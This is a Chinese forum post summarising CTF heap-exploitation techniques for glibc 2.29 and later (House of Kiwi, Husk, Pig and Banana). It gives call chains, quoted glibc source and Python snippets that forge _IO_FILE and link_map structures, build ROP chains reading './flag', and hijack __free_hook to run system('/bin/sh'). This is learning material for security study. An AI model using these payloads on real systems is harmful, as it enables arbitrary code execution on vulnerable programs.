首页
论坛
课程
招聘
[原创]高Glibc版本下的堆骚操作解析
2021-9-1 12:30 9053

[原创]高Glibc版本下的堆骚操作解析

2021-9-1 12:30
9053

前言

Glibc2.29及以上版本堆的利用技巧越来越复杂,简直就是神仙打架,实在学得有点头晕。并且很多时候就算我们有了复用堆块在出题人的各种围追堵截的限制下,也可能没办法getshell,所以一直在不断开发新的利用姿势。这里就最近学到的一些骚操作做个总结吧,也方便以后复习。

一、House of KIWI

House OF Kiwi - 安全客,安全资讯平台 (anquanke.com)

1.原理分析

函数调用链:assert->malloc_assert->fflush->_IO_file_jumps结构体中的__IO_file_sync

 

调用时的寄存器为:

 

图片2

 

那么如果可以在不同版本下劫持对应setcontext中的赋值参数,即rdi或者rdx,就可以设置寄存器来调用我们想调用的函数。

(1)rdi和rdx互相转换

①getkeyserv_handle+576:

1
2
3
4
5
6
7
plaintext
 
#注释头
 
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

通过rdi控制rdx,同样2.29以后不同版本都不太一样,需要再调试看看,比如2.31里就是:

1
2
3
4
5
6
7
plaintext
 
#注释头
 
mov rdx,QWORD PTR [rdi+0x8]
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]

②svcudp_reply+26:

1
2
3
4
5
6
7
8
9
10
plaintext
 
#注释头
 
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

通过rdi控制rbp实现栈迁移,然后即可任意gadget了。

 

其中2.31版本下还是一样的,如下:

1
2
3
4
5
6
7
8
9
10
plaintext
 
#注释头
 
mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]

(2)不同劫持

这里观察寄存器就可以知道,不同版本的setcontext对应的rdi和rdx,这里就劫持哪一个。另外这里的rdi为_IO_2_1_stderr结构体,是从stderr@@GLIBC_2.2.5取值过来的,也就是data段上的数据,如果可以取得ELF基地址,直接劫持该指针为chunk地址也是可以的,这样就能劫持RDI寄存器了。

 

图片1

 

这样如果劫持__IO_file_sync函数指针为setcontext,配合劫持的rdi和rdx就可以来调用我们想调用函数从而直接getshell或者绕过orw。

2.触发条件

只要assert判断出错都可以,常用以下几个

 

(1)top_chunk改小,并置pre_inuse为0,当top_chunk不足分配时会触发一个assert。(该assert函数在sysmalloc函数中被调用)

 

Snipaste_2021-08-28_11-56-34

 

(2)largebin chunk的size中的flag位,这个不太清楚....

 

(3)如果是2.29及以下,因为在tcache_put和tcacheget中还存在assert的关系,所以如果可以修改掉mp.tcache_bins,将之改大,(利用largebin attack)就会触发assert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//2.29
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
 
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
 
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
 
//2.29
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

Snipaste_2021-08-28_11-46-59

3.适用条件

如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup,若再将__malloc_hook__free_hook给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区的情况下。这时候可以借用malloc出错调用malloc_assert->fflush->_IO_file_sync函数指针。且进入的时候rdx为_IO_helper_jumps_addr,rdi为_IO_2_1_stderr_addr

二、House of Husk

house-of-husk学习笔记 (juejin.cn)

1.原理分析

函数调用链:

1
2
3
printf->vfprintf->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec)
                                                |
                                                 ->__printf_function_table(spec)

__parse_one_specmb 函数 会调用 __printf_arginfo_table__printf_function_table两个函数指针中对应spec索引的函数指针printf_arginfo_size_function

 

▲这个spec索引指针就是格式化字符的ascii码值,比如printf("%S"),那么就是S的ascii码值。当然,这个方法的前提是得有printf系列函数,并且有格式化字符。

 

即调用(__printf_arginfo_table+'spec'8) 和 (printf_function_table+'spec'8)这两个函数指针。

 

而实际情况会先调用__printf_arginfo_table中对应的spec索引的函数指针,然后调用__printf_function_table对应spec索引函数指针。

 

所以如果修改了__printf_arginfo_table__printf_function_table,则需要确保对应的spec索引对应的函数指针,要么为0,要么有效。

 

同时如果选择这个方法,就得需要__printf_arginfo_table__printf_function_table均不为0才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//2.31 vfprintf-internal.c(stdio-common)
 
/* Use the slow path in case any printf handler is registered.  */
if (__glibc_unlikely (__printf_function_table != NULL
                      || __printf_modifier_table != NULL
                      || __printf_va_arg_table != NULL))
    goto do_positional;
 
 
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
    free (workstart);
    workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
                          done, nspecs_done, lead_str_end, work_buffer,
                          save_errno, grouping, thousands_sep, mode_flags);
1
2
3
4
5
6
7
8
9
10
11
//2.31 vfprintf-internal.c(stdio-common)
 
(void) (*__printf_arginfo_table[specs[cnt].info.spec])
(&specs[cnt].info,
 specs[cnt].ndata_args, &args_type[specs[cnt].data_arg],
 &args_size[specs[cnt].data_arg]);
 
 
/* Call the function.  */
function_done = __printf_function_table[(size_t) spec]
    (s, &specs[nspecs_done].info, ptr);

即如果table不为空,则调用printf_positional函数,然后如果spec不为空,则调用对应spec索引函数。但是有时候不知道printf最终会调用哪个spec,可能隐藏在哪,所以直接把干脆_printf_arginfo_table__printf_function_table中的值全给改成one_gadget算了。

 

▲综上,得出以下条件:

1
2
3
4
A.    __printf_function_table = heap_addr
    __printf_arginfo_table != 0
//其中__printf_arginfo_table和__printf_function_table可以对调
B. heap_addr+'spec'*8 = one_gadget

图片1

 

在2.29下可以直接用largebin attack爆破修改两个地方,当然还是需要先泄露地址的。

2.触发条件

即需要printf家族函数被调用,且其中需带上格式化字符,比如%s,%x等,用来计算spec,这个和libc版本无关,相当于只针对printf家族函数进行攻击的。

3.适用条件

具有printf家族函数,并且存在spec,合适地方会调用。

三、House of Pig

house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)

1.原理分析

(1)劫持原理

_IO_str_overflow函数中会连续调用malloc memcpy free三个函数。并且__IO_str_overflow函数传入的参数rdi为从_IO_list_all中获取的_IO_2_1_stderr结构体的地址。所以如果我们能改掉_IO_list_all中的值就能劫持进入该函数的参数rdi

 

Snipaste_2021-08-28_17-15-06

 

所以如上所示,即劫持成功。

(2)Getshell原理

①函数流程

A.在_IO_str_overflow函数中会先申请chunk为new_buf,然后会依据rdi的值,将rdi当作_IO_FILE结构体,从该结构体中获取_IO_buf_base当作old_buf

 

B.依据old_blen_IO_buf_base来拷贝数据到new_buf中,然后释放掉old_buf。其中old_blen 是通过_IO_buf_end减去_IO_buf_base得到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//2.31 strops.c中的_IO_str_overflow
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
else
{
    char *new_buf;
    char *old_buf = fp->_IO_buf_base;
    size_t old_blen = _IO_blen (fp);
    size_t new_size = 2 * old_blen + 100;
    if (new_size < old_blen)
        return EOF;
    new_buf = malloc (new_size);//-------house of pig:get chunk from tcache
    if (new_buf == NULL)
    {
        /*      __ferror(fp) = 1; */
        return EOF;
    }
    if (old_buf)
    {
        memcpy (new_buf, old_buf, old_blen);
        //-------house of pig:copy /bin/sh and system to _free_hook
        free (old_buf);        //-------house of pig:getshell
        /* Make sure _IO_setb won't try to delete _IO_buf_base. */
        fp->_IO_buf_base = NULL;
    }

Snipaste_2021-08-28_17-30-42

②劫持所需数据

所以如果在申请的new_buf包含为_free_hook,然后我们在_IO_buf_base_IO_buf_end这里一段数据块中将system_addr放入,那么就可以将system_addr拷贝到_free_hook中。之后释放掉old_buf,如果old_buf中的头部数据为/bin/sh\x00,那么就能直接getshell了。得到以下劫持所需数据:

1
2
3
4
5
*(_IO_list_all) = chunk_addr;
(struct _IO_FILE*)chunk_addr->_IO_buf_base = chunk_sh_sys_addr;
(struct _IO_FILE*)chunk_addr->_IO_buf_end = chunk_sh_sys_addr+old_blen;
//2 * old_blen + 100 通常我们选取old_blen为0x18,那么计算得到的tc_idx为8
tcachebin[tc_idx] = _free_hook_addr-old_blen;

但是如何使得tcachebin[tc_idx]中的Chunk为_free_hook_addr-old_blen呢,这个就用到技术

 

Largebin attack + Tcache Stashing Unlink Attack,这个技术原理比较复杂,自己看吧。

 

通常是只能使用callo的情况下来用的,因为如果能malloc那直接从tcache中malloc出来不就完了。

 

然后由于_IO_str_overflow函数中的一些检查,所以有的地方还是需要修改的:

1
2
3
4
5
6
7
8
9
10
11
12
fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(1)                     #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
#need copy '/bin/sh' and system from a old_buf to new_buf
fake_IO_FILE += p64(heap_base+0x003900+0x10)       #set _IO_buf_base (old_buf(start))
fake_IO_FILE += p64(heap_base+0x003900+0x10+0x18#set _IO_buf_end  (old_buf(end))  
#old_blen=old_buf(start)-old_buf(end)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable to _IO_str_jumps

2.触发条件

(1)Libc结构被破坏的abort函数中会调用刷新
(2)调用exit()
(3)能够从main函数返回

3.适用条件

程序只能通过calloc来获取chunk时

四、House of banana

house of banana - 安全客,安全资讯平台 (anquanke.com)

 

main_arena劫持及link_map劫持 - 安全客,安全资讯平台 (anquanke.com)

1.原理分析

函数调用链:exit()->_dl_fini->(fini_t)array[i]

1
2
3
4
5
6
7
8
9
10
11
12
13
//2.31 glibc/elf/dl_fini.c
 
/* First see whether an array is given.  */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
    ElfW(Addr) *array =
        (ElfW(Addr) *) (l->l_addr
                        + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                      / sizeof (ElfW(Addr)));
    while (i-- > 0)
        ((fini_t) array[i]) ();
}

所以如果可以使得*array[i] = one_gadget,那么就可以一键getshell。而array[i]调用时这里就有两种套路:

(1)伪造link_map结构体

直接伪造link_map结构体,将原本指向link_map的指针指向我们伪造的link_map,然后伪造其中数据,绕过检查,最后调用array[i]。这里通常利用largebin attack来将堆地址写到_rtld_global这个结构体指针中。

 

 

link_map的布局通常如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#largebin attack's chunk
#*_rtld_local=fake_link_map_chunk_addr
fake_link_map_chunk_addr = heap_base+0x001000
edit(1,0x448,'\x00'*0x448#empty the fake_link_map_chunk
fake_link_map_data = ""
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x20)        #0 1
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr)            #2 3
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x28)        #4 5
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x50) + p64(fake_link_map_chunk_addr + 0x20)                                    
#6 7
fake_link_map_data += p64(fake_link_map_chunk_addr+0x28) + p64(0x0)        #8 9
fake_link_map_data += p64(0) + p64(0x0)                                    #10 11
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x50)        #12 13
fake_link_map_data =  fake_link_map_data.ljust(0x100,'\x00')
 
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x190) + p64(0)           
#0x20 0x21
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x128) + p64(0)       
#0x22 0x23
fake_link_map_data += p64(0x8) + p64(0)                                    #0x24 0x25
fake_link_map_data =  fake_link_map_data.ljust(0x180,'\x00')
 
fake_link_map_data += p64(0x1A) + p64(0x0)                                #0x30 0x31
fake_link_map_data += p64(elf_base + elf.sym['backdoor']) + p64(0)        #0x32 0x33
 
#set fake_chunk->pre_size
edit(0,0xd68,'\x00'*0xd60+p64(fake_link_map_chunk_addr + 0x1a0))
fake_link_map_data = fake_link_map_data.ljust(0x308,'\x00')
fake_link_map_data += p64(0x800000000)

Snipaste_2021-08-29_09-49-17

(2)修改link_map结构体数据

修改对应link_map结构体中的数据,绕过检查,最终调用array[i]。这里就通常需要利用任意申请来申请到该结构体,然后修改其中的值,因为当调用array[i]时,传入的实际上是link_map中的某个地址,即rdx为link_map+0x30,这个不同版本好像不太一样,2.31及以上为link_map+0x38。

 

主要伪造以下数据:

 

Snipaste_2021-08-30_18-56-38

 

这个方法常用来打ORW,因为可以我们可以直接将ROP链布置在link_map中。然而因为版本间的关系,所以数据也有点不同,实际布局:

2.31

Snipaste_2021-08-30_18-49-43

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//docker 2.31 gadget
pop_rdi_ret = libc_base + 0x0000000000026b72;
pop_rsi_ret = libc_base + 0x0000000000027529;
pop_rax_ret = libc_base + 0x000000000004a550;
syscall_ret = libc_base + 0x0000000000066229;
pop_rdx_r10_ret = libc_base + 0x000000000011c371
setcontext_addr = libc_base + libc.sym['setcontext']
lg("setcontext_addr",setcontext_addr)
ret = pop_rdi_ret+1;
 
fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10
fake_rsp = fake_link_map_chunk_addr + 8*8
flag = fake_link_map_chunk_addr + 30*8
 
orw = ""
#fake_rsp_addr =  fake_link_map_chunk_addr + 8*8
orw += p64(pop_rdi_ret) + p64(flag)                                        #8
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
 
fake_link_map_data = ""
#set l_addr(0) point to fini_array
fake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0)       #0     1
#set l_next(3) and *(l_next)=vdso_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5b0)      #2     3
#set l_real(5) point to fake_link_map_chunk_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr)            #4     5
fake_link_map_data += p64(setcontext_addr+61) + p64(ret)                #6     7
fake_link_map_data += orw                                                #8~25
fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00')
 
#for rcx  push rcx
fake_link_map_data += p64(0x0) + p64(fake_rsp)                            #26 27
fake_link_map_data += p64(ret) + p64(0x0)                                #28 29
#flag_addr = fake_link_map_chunk_addr + 30*8
fake_link_map_data += './flag\x00\x00'                                    #30
fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00')                #30~33
 
#fake circle link_list
fake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0)    #34 35
fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20)    #36 37

2.29

Snipaste_2021-08-30_16-16-41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//docker 2.29 gadget
pop_rdi_ret = libc_base + 0x0000000000026542;
pop_rsi_ret = libc_base + 0x0000000000026f9e;
pop_rax_ret = libc_base + 0x0000000000047cf8;
syscall_ret = libc_base + 0x00000000000cf6c5;
pop_rdx_r10_ret = libc_base + 0x000000000012bda4
setcontext_addr = libc_base + libc.sym['setcontext']
lg("setcontext_addr",setcontext_addr)
ret = pop_rdi_ret+1;
 
 
fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10
fake_rsp = fake_link_map_chunk_addr + 8*8
flag = fake_link_map_chunk_addr + 30*8
 
orw = ""
#fake_rsp_addr =  fake_link_map_chunk_addr + 8*8
orw += p64(pop_rdi_ret) + p64(flag)                                        #8
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
 
fake_link_map_data = ""
#set l_addr(0) point to fini_array
fake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0)       #0     1
#set l_next(3) and *(l_next)=vdso_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5a0)      #2     3
#set l_real(5) point to fake_link_map_chunk_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr)            #4     5
fake_link_map_data += p64(setcontext_addr+53) + p64(ret)                #6     7
fake_link_map_data += orw                                                #8~25
fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00')
 
#for rcx  push rcx
fake_link_map_data += p64(fake_rsp) + p64(ret)                            #26 27
fake_link_map_data += p64(0x0) + p64(0x0)                                #28 29
#flag_addr = fake_link_map_chunk_addr + 30*8
fake_link_map_data += './flag\x00\x00'                                    #30
fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00')                #30~33
 
#fake circle link_list
fake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0)    #34 35
fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20)    #36 37

▲这里需要注意的是由于ld动态连接加载的事情,所以就算是同一个版本中的link_map相对于libc基地址在不同机器中也有可能是不同的,需要爆破第4,5两位,一个字节。

 

▲题外话:适用到ld动态链接库的话,如果直接patchelf的话,很可能出错的,原因未知。推荐还是用docker:

 

PIG-007/pwnDockerAll (github.com)

2.触发条件

(1)调用exit()
(2)能够从main函数返回

3.适用条件

ban掉了很多东西的时候。但是这个需要泄露地址才行的,另外由于可能需要爆破一个字节,所以如果还涉及其他的爆破就得慎重考虑一下了,别到时候爆得黄花菜都凉了。


[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回